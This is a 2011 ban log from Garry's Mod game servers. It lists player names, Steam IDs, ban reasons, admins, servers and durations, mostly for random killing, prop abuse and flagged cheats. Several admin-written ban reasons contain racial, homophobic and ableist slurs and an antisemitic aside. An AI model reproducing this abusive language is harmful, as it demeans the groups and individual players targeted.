24-09-11 Unknown STEAM_0:1:17254099 Pretending to be someone +else + idiot +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +3:55 pm 24-09-11 (1)Vitadar STEAM_0:1:43867868 Pretending to be +vitadar + massive cunt +[SP]+ ULTRA Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +1:17 pm 24-09-11 Shut yo face STEAM_0:1:19061592 Alt of banned ID +STEAM_0:1:19061592 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 0:0:21 Unbanned +12:39 pm 24-09-11 Shut yo face STEAM_0:1:19061592 Wigbig Killa's +Zombie Survival Server Zombie Survival 0:1:0 Unbanned +5:36 am 24-09-11 Unknown STEAM_0:0:30611686 Go be an ass somewhere +else [MWRP] Norzone Official Zombified World|Lvl Cap +10 Zombified +World 31:22:40 Unbanned +1:45 am 24-09-11 Lemmiwinks STEAM_0:1:18967422 gtfo, retard +Suppooort Vet 3 - Bren in Bren Fretta|Tigergruppe Kommand Snifer +0:5:0 Unbanned +12:37 am 24-09-11 segartS STEAM_0:1:44575166 Alt of banned ID +STEAM_0:1:37909917 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:1:37 Unbanned +12:14 am 24-09-11 Strages STEAM_0:1:37909917 screwing with peoples T +round as T Dr. Docter Fretta|Tigergruppe Kommand Poltergeist 2:2:0 +Unbanned +11:56 pm 23-09-11 Rockah12 STEAM_0:0:38825619 TEAM KILLER! Dr. +Docter Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +11:39 pm 23-09-11 BlackBlood STEAM_0:0:32862194 rdm Dr. Docter +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:28 pm 23-09-11 Rigbe STEAM_0:1:20555849 ghosting Dr. Docter +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:15:7 Unbanned +9:29 pm 23-09-11 Pnico STEAM_0:0:29811444 MASS RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:24 pm 23-09-11 Unknown STEAM_0:1:37780756 Nekoace Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +12:57 pm 23-09-11 Unknown STEAM_0:0:7016175 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:32 pm 23-09-11 Unknown STEAM_0:1:30537140 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:55 pm 22-09-11 AZooOooZ11 STEAM_0:0:20536167 not a smart move MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:12 pm 22-09-11 HÃ¥var..!!!! STEAM_0:0:17643198 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:51 pm 22-09-11 The Silver Witch Beatriche STEAM_0:0:30340513 prop +rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:12:0 Unbanned +7:35 pm 22-09-11 Ford Taunus 17 M PS3ts -63 STEAM_0:1:35164355 +RDM Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +3:16 pm 22-09-11 Randominternetguy STEAM_0:1:24875543 Basing +offworld Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +10:37 pm 21-09-11 Pvt. P. Krachenfels [11th AB] STEAM_0:0:16186808 +the more you scream nigger the more i wanted to ban you MAD MAN +Fretta|Tigergruppe Kommand One In The Chamber Permanent Banned +9:19 pm 21-09-11 Hannibal The Cannibal STEAM_0:0:30440286 being a +dirty troll Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:9:20 Unbanned +7:35 pm 21-09-11 Unknown STEAM_0:0:21315807 smart move (RDM) MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +7:35 pm 21-09-11 Unknown STEAM_0:0:21315807 smart move (RDM) MAD +MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +7:20 pm 21-09-11 Â?Â? STEAM_0:0:26233583 spam MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:44 pm 21-09-11 Unknown STEAM_0:1:8475562 Stupid idea to rdm mate +MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +10:32 pm 20-09-11 °Monster° STEAM_0:0:30611686 faction exploiting +Nekoace Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 +Unbanned +10:30 pm 20-09-11 [Gmod.biZ] Sh00ter STEAM_0:0:17964513 Several +exploits Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 7:15:20 Unbanned +10:29 pm 20-09-11 Unknown STEAM_0:1:26549352 Cheat: Hermes +(Console) Fretta|Tigergruppe Kommand Firefight Permanent Banned +10:28 pm 20-09-11 Unknown STEAM_0:0:18691624 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Firefight Permanent Banned +10:27 pm 20-09-11 Unknown STEAM_0:0:18007424 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +8:40 pm 20-09-11 Ziemniak STEAM_0:0:26302355 ridiculously low +karma, rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +6:04 pm 20-09-11 NINJAUNICORN STEAM_0:1:30423115 You've got fucked +karma, mang! +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +5:57 pm 20-09-11 ZaиiaЯâ?? STEAM_0:1:29336899 Alright then, made +you. +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +3:22 pm 20-09-11 Chelmy STEAM_0:0:16820336 Base deleting during war +Nekoace Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 +Unbanned +12:44 am 20-09-11 destroyer57 STEAM_0:0:25123523 rdm * 2 +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:24 Unbanned +12:31 am 20-09-11 Flip STEAM_0:0:20615088 RDM, dont come back +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +10:47 pm 19-09-11 quackenpoker STEAM_0:0:31776035 +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +10:33 pm 19-09-11 Spero78 STEAM_0:1:33168641 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 85:19:20 Unbanned +10:12 pm 19-09-11 an_owl STEAM_0:0:22746878 killing people with +props. Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:12:0 Unbanned +10:08 pm 19-09-11 TTC Emperor Takeda HâkushÅ?[TR +STEAM_0:1:36838657 RDM Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +7:27 pm 19-09-11 hamoodicool3 STEAM_0:1:43867868 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +4:05 pm 19-09-11 à¹?Û£Û? Ä?Å?Ä?Ä?Î? STEAM_0:0:2336176 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:2 +Unbanned +11:05 pm 18-09-11 nash8288 STEAM_0:0:37936737 acting immature +Wigbig Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +10:50 pm 18-09-11 [LL-m][AARP]White Knight STEAM_0:1:18360894 Rdm and +Troll +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 13:21:20 Unbanned +10:37 pm 18-09-11 Tasty Tuna STEAM_0:1:16812953 prop killing Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:12:0 Unbanned +10:13 pm 18-09-11 Unknown STEAM_0:1:19709422 deleted base MAD MAN +Official Zombified World|Lvl Cap +10 Zombified World 2:18:40 Unbanned +9:25 pm 18-09-11 AllStarZ[TT] STEAM_0:0:34483728 RDM IN PREVIOUS +ROUNDS +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +9:25 pm 18-09-11 [EGI] fuzzygrub75 (PMC) STEAM_0:1:33171695 RDM ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:30 Unbanned +8:39 pm 18-09-11 Unknown STEAM_0:0:1796451 Several offworld bases +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +6:22:40 Unbanned +8:22 pm 18-09-11 Hipster STEAM_0:0:33400512 prop killing Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +6:43 pm 18-09-11 +[ZH]+ZombieTamer STEAM_0:1:37780756 prop pushing +Wigbig Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 +Unbanned +6:41 pm 18-09-11 Scarface STEAM_0:0:35184488 prop pushing Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 Unbanned +5:36 pm 18-09-11 Burrito STEAM_0:1:12098234 You call that Rdming? ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:00 pm 18-09-11 shaikan STEAM_0:1:9852991 base out of map MAD MAN +Official Zombified World|Lvl Cap +10 Zombified World 2:2:0 Unbanned +3:04 pm 18-09-11 Binary Code STEAM_0:1:3807640 Alt of banned ID +STEAM_0:0:41745347 (Console) Fretta|Tigergruppe Kommand GunGame +Permanent Banned +12:19 pm 18-09-11 Unknown STEAM_0:0:43714855 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:24 pm 17-09-11 (AW) {MPhx} ppopjj STEAM_0:0:40344546 low karma +Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 +Unbanned +10:50 pm 17-09-11 Battlecruiser STEAM_0:0:19255097 Rad the rules ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +694:10:40 Banned +2:28 pm 17-09-11 Unknown STEAM_0:0:32585154 rdm MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:16:40 Unbanned +2:27 pm 17-09-11 Sex Free HERE STEAM_0:1:31370258 rdm MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:08 pm 17-09-11 Unknown STEAM_0:1:14864726 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:17 am 17-09-11 +[HA]+ TheKakemonster STEAM_0:1:35111385 RDM ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:20:50 Unbanned +10:58 am 17-09-11 ''skhga'sál''aa's STEAM_0:0:28319345 RDM +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:4:0 Unbanned +10:42 am 17-09-11 Mr.smith STEAM_0:0:19648910 Treason, RDM, Low +karma +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +11:21 pm 16-09-11 Unknown STEAM_0:0:5552620 RDM + Leaving. Probably a +zionist too, if not then at least a Coh OF player. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Deathrun 0:12:0 Unbanned +10:36 pm 16-09-11 Scarface STEAM_0:0:35184488 Wigbig Official +Zombified World|Lvl Cap +10 Zombified World 0:1:0 Unbanned +10:29 pm 16-09-11 Unknown STEAM_0:0:28363046 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +8:44 pm 16-09-11 Drunkenkidney95 STEAM_0:0:17425490 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:23 pm 16-09-11 Hannibal The Cannibal STEAM_0:0:30440286 IGNORING +ADMINS +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +7:29 pm 16-09-11 +[SP]+ Marked One [SK] STEAM_0:1:22013742 +MEEELOOOOONS Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 0:0:1 Unbanned +6:12 pm 16-09-11 BloodY StooL STEAM_0:0:8403669 Fuck off +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:42 pm 16-09-11 Felix STEAM_0:0:40979860 and don ' t come back +Wigbig Fretta|Tigergruppe Kommand Trouble in Terrorist Town 9:0:40 +Unbanned +9:54 pm 15-09-11 cookie monster XDDDDddDDD ;) ^_ STEAM_0:1:13743755 +RDM AND BACKCHAT TO SP MEMBERS ADMIN +[SP]+ EDDIE STONE +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +9:54 pm 15-09-11 Cool cat STEAM_0:0:19255097 RDM AND BACKCHAT TO SP +MEMBERS +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +9:00 pm 15-09-11 Unknown STEAM_0:1:28462533 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:00 pm 15-09-11 Unknown STEAM_0:1:38572580 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:31 pm 15-09-11 à¹?Û?Redacule STEAM_0:1:17352532 Killing detectives +as detective Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:6:40 Unbanned +7:19 pm 15-09-11 THE0BEAST STEAM_0:0:40881551 rdm, come back in an +hour Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +11:57 pm 14-09-11 Brute STEAM_0:1:16985414 bye MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:57 pm 14-09-11 LeapingTeka STEAM_0:1:37374632 bye bitch MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:01 pm 14-09-11 mec693 STEAM_0:0:24148992 Come back when you're +17. Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4380:0:0 Banned +9:09 pm 14-09-11 ^1Red ^1PoWeR! STEAM_0:1:9655093 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +8:27 pm 14-09-11 FrAgGeR STEAM_0:1:37115325 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +8:23 pm 14-09-11 Jack_Sprat STEAM_0:0:16758284 RDM. come back next +round Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +8:18 pm 14-09-11 Azabajam STEAM_0:1:34362897 Good luck getting me +banned (You can make an admin abuse thread here +) Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 36:13:46 Unbanned +6:35 pm 14-09-11 Oasis9409 STEAM_0:0:34537118 Chill time +[SP]+ +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +1:43 pm 14-09-11 Unknown STEAM_0:0:30441893 Faction base farming +Norzone Official Zombified World|Lvl Cap +10 Zombified World 14:0:0 +Unbanned +1:34 pm 14-09-11 Unknown STEAM_0:1:35665614 Faction exploiting and +base farming Norzone Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +6:43 pm 13-09-11 Rhino STEAM_0:0:66502 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:33 pm 13-09-11 B00mHeadsh0t STEAM_0:1:34494278 Alt of banned ID +STEAM_0:1:34494278 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +3:45 pm 13-09-11 A true motherf8 STEAM_0:0:19255097 I killed them +because i have a deagle Wigbig Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +3:44 pm 13-09-11 Pickle Delivery! STEAM_0:0:18699999 spam Wigbig +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +5:56 pm 12-09-11 Unknown STEAM_0:0:37796859 Cheat: lesp (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +5:55 pm 12-09-11 Unknown STEAM_0:1:42476821 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:55 pm 12-09-11 Unknown STEAM_0:1:36927998 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:54 pm 12-09-11 Unknown STEAM_0:1:25107044 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:53 pm 12-09-11 Unknown STEAM_0:0:44107553 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:53 pm 12-09-11 Unknown STEAM_0:0:20406383 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:53 pm 12-09-11 Unknown STEAM_0:1:15789158 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:52 pm 12-09-11 Unknown STEAM_0:1:15789158 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:52 pm 12-09-11 Unknown STEAM_0:1:22227066 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:20 pm 11-09-11 quackenpoker STEAM_0:0:31776035 Rdming a fuckin +load. Twat +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +8:44 pm 11-09-11 â?¢PoFoDa STEAM_0:0:23026295 Prop destroying +[SP]+ +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +7:25 pm 11-09-11 Pelf STEAM_0:1:10994497 Bon voyage biiiitch +[SP]+ +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +3:17 pm 11-09-11 +[PS3]+Everybody in this server STEAM_0:1:22172556 +RDM, Low karma +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:12 am 11-09-11 Troyo STEAM_0:0:30352843 +[SP]+ Hellknite +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:16:40 Unbanned +8:11 pm 10-09-11 Dream STEAM_0:1:39446024 RDM +[SP]+ Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +7:18 pm 10-09-11 xXxSN1P3SH0TxXx STEAM_0:1:35576191 RDM and General +faggotory. +[SP]+ Nekoace Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:9:20 Unbanned +7:17 pm 10-09-11 (N.P) Cpt Ry@n Money on fire LO STEAM_0:0:26030841 +Faction exploiting +[SP]+ Nekoace Official Zombified World|Lvl Cap ++10 Zombified World 0:16:40 Unbanned +5:38 pm 10-09-11 Trouble >>> STEAM_0:1:9984518 Alt of banned ID +STEAM_0:1:9984518 (Console) Killa's Zombie Survival Server Zombie +Survival 1:9:15 Unbanned +5:34 pm 10-09-11 Trouble >>> STEAM_0:1:9984518 Constantly claims i +abuse admin and is going to get me banned +[SP]+ Nekoace Official +Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +3:54 pm 10-09-11 Unknown STEAM_0:1:33565504 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:53 pm 10-09-11 Unknown STEAM_0:1:21555783 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:26 pm 10-09-11 Hannibal The Cannibal STEAM_0:0:30440286 not listen +cock +[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:10 Unbanned +11:58 am 10-09-11 Unknown STEAM_0:1:43442378 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:57 am 10-09-11 Unknown STEAM_0:0:37589369 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:57 am 10-09-11 Unknown STEAM_0:1:26057694 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:57 am 10-09-11 Unknown STEAM_0:1:25397734 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:56 am 10-09-11 Unknown STEAM_0:0:38604448 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:53 am 10-09-11 Unknown STEAM_0:0:15726896 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:52 am 10-09-11 Unknown STEAM_0:0:19811962 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:26 am 10-09-11 ZaniteKiller STEAM_0:0:41907869 retarded shit kid +rdmer Disguised Shit Kid Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:18 pm 09-09-11 Unknown STEAM_0:0:23046484 False Tags +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:22:40 Unbanned +9:38 pm 09-09-11 Unknown STEAM_0:0:20884479 RDM then left Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +5:08 pm 09-09-11 +[SP]+ Colek STEAM_0:1:10972966 Alt of banned ID +STEAM_0:1:10972966 (Console) Killa's Zombie Survival Server Zombie +Survival 0:0:41 Unbanned +12:00 pm 09-09-11 Unknown STEAM_0:1:15119164 rdming +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +11:09 pm 08-09-11 generalxl STEAM_0:0:15035839 RDMing an admin ++[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:10 Unbanned +9:23 pm 08-09-11 Unknown STEAM_0:1:17923795 base delete while under +attack MAD MAN Official Zombified World|Lvl Cap +10 Zombified World +2:2:0 Unbanned +7:27 pm 08-09-11 curriehawk STEAM_0:0:38843145 rdmer +[SP]+ +Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:52 pm 08-09-11 icis4 STEAM_0:1:20514295 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +5:41 pm 08-09-11 Brain Eater DK STEAM_0:0:32953783 Prop pushing ++[SP]+ Nekoace Official Zombified World|Lvl Cap +10 Zombified World +1:9:20 Unbanned +5:39 pm 08-09-11 ICEMAN STEAM_0:1:4782422 cockfag +[SP]+ Ecuilirum +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 41:16:0 Unbanned +4:19 pm 08-09-11 Fatman55 STEAM_0:0:31999426 YOU VIOLATED THE +LAW!!! +[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Laser Dance +0:16:40 Unbanned +2:40 pm 08-09-11 Ð?Ñ?бка Ð?об)))) STEAM_0:0:40979860 RDM, Low +karma, Left +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:4:0 Unbanned +2:39 pm 08-09-11 Unknown STEAM_0:0:29086312 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:4:40 Unbanned +2:06 pm 08-09-11 Ï?...:::Pedro:::...Ï? STEAM_0:0:21408633 Treason ++[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:9:20 Unbanned +11:57 pm 07-09-11 Sambana STEAM_0:0:43542248 rdm and idiot +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +5:49 pm 07-09-11 +[SP]+ Colek STEAM_0:1:10972966 Propkilling. Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +11:10 am 07-09-11 Unknown STEAM_0:0:32211033 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +11:10 am 07-09-11 Unknown STEAM_0:0:38727026 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +9:49 pm 06-09-11 Unknown STEAM_0:0:29367281 What are you going to do +about it? CRY?! +[SP]+ Nekoace Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +9:47 pm 06-09-11 Jarate Scout STEAM_0:1:25878921 spam Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 0:10:0 Unbanned +9:38 pm 06-09-11 Unknown STEAM_0:0:750394 Fake SP +[SP]+ Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +7:46 pm 06-09-11 Unknown STEAM_0:0:42044871 accused of RDM, left +server. Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +11:48 am 06-09-11 Unknown STEAM_0:0:25268506 Cheat: Unknown +(Console) Fretta|Tigergruppe Kommand Surf Permanent Banned +11:47 am 06-09-11 Unknown STEAM_0:1:23359101 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Surf Permanent Banned +9:24 pm 05-09-11 Alexaz I STEAM_0:1:14591454 Retard on so many +levels +[SP]+ Nekoace Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +9:06 pm 05-09-11 Rebecca Black STEAM_0:0:25559631 Killing detectives +as innocent Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +8:58 pm 05-09-11 xXxbadboyxXx STEAM_0:1:40367791 Fucking disgusting +spray, grow up. +[SP]+ Gearyâ?¢ Official Zombified World|Lvl Cap +10 +Zombified World 1:0:0 Unbanned +5:18 pm 05-09-11 Kemelvor[FR] STEAM_0:1:19974959 rdming traitors ++[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:11 pm 05-09-11 XrG x ReFLeXSS STEAM_0:0:34304004 raging faggot last +time we met +[SP]+ Nekoace Killa's Zombie Survival Server Zombie +Survival 1:9:20 Unbanned +2:28 pm 05-09-11 Woffy STEAM_0:0:43644821 RDMing shit Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +2:12 pm 05-09-11 Fill STEAM_0:0:19255097 Go cool down Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:27 pm 05-09-11 â?¾Ï?â?½â?¯râ?¯onkeÆ´â?¢ STEAM_0:1:39312723 Low +Karma +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +12:27 pm 05-09-11 TheSuperAnon STEAM_0:1:29855170 Low karma +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:49 am 05-09-11 Unknown STEAM_0:0:26325272 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:39 pm 04-09-11 â? Mr. Fuzzy Platypusâ? CrabJr. STEAM_0:0:16404788 +revenge rdming +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +9:36 pm 04-09-11 Camper NOO REALLY IM NOT SEXIST +STEAM_0:0:30697563 bye MAD MAN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:20:40 Unbanned +8:37 pm 04-09-11 Dennis STEAM_0:1:13538181 prop pushing Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 Unbanned +8:01 pm 04-09-11 Â? STEAM_0:0:11151286 no name +[SP]+ EDDIE STONE +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +7:49 pm 04-09-11 Alexaz I STEAM_0:1:14591454 min prop destroying +Wigbig Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +7:18 pm 04-09-11 Zen STEAM_0:1:6639404 prop destroying Wigbig +Official Zombified World|Lvl Cap +10 Zombified World 0:0:30 Unbanned +6:08 pm 04-09-11 Unknown STEAM_0:1:34106703 base deleting during +war +[SP]+ Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +4:29 pm 04-09-11 (WBA Inf.)Pfc. Knight STEAM_0:0:17741589 Breaking +rules. +[SP]+ Gearyâ?¢ Official Zombified World|Lvl Cap +10 Zombified +World 1:0:0 Unbanned +4:12 pm 04-09-11 Padron Frodo STEAM_0:0:34846843 Pretty damm stupid +MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +11:16 am 04-09-11 roxer STEAM_0:0:23705135 RDM, come back in an +hour Norzonion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:14 am 04-09-11 Unknown STEAM_0:0:39497530 Cheat: Coma (Console) +Fretta|Tigergruppe Kommand Sniper Wars Permanent Banned +2:24 am 04-09-11 Bunny STEAM_0:1:30049477 rdm <[FoT]> .ExEcute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:41 am 04-09-11 pirAa STEAM_0:1:15093643 racist MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 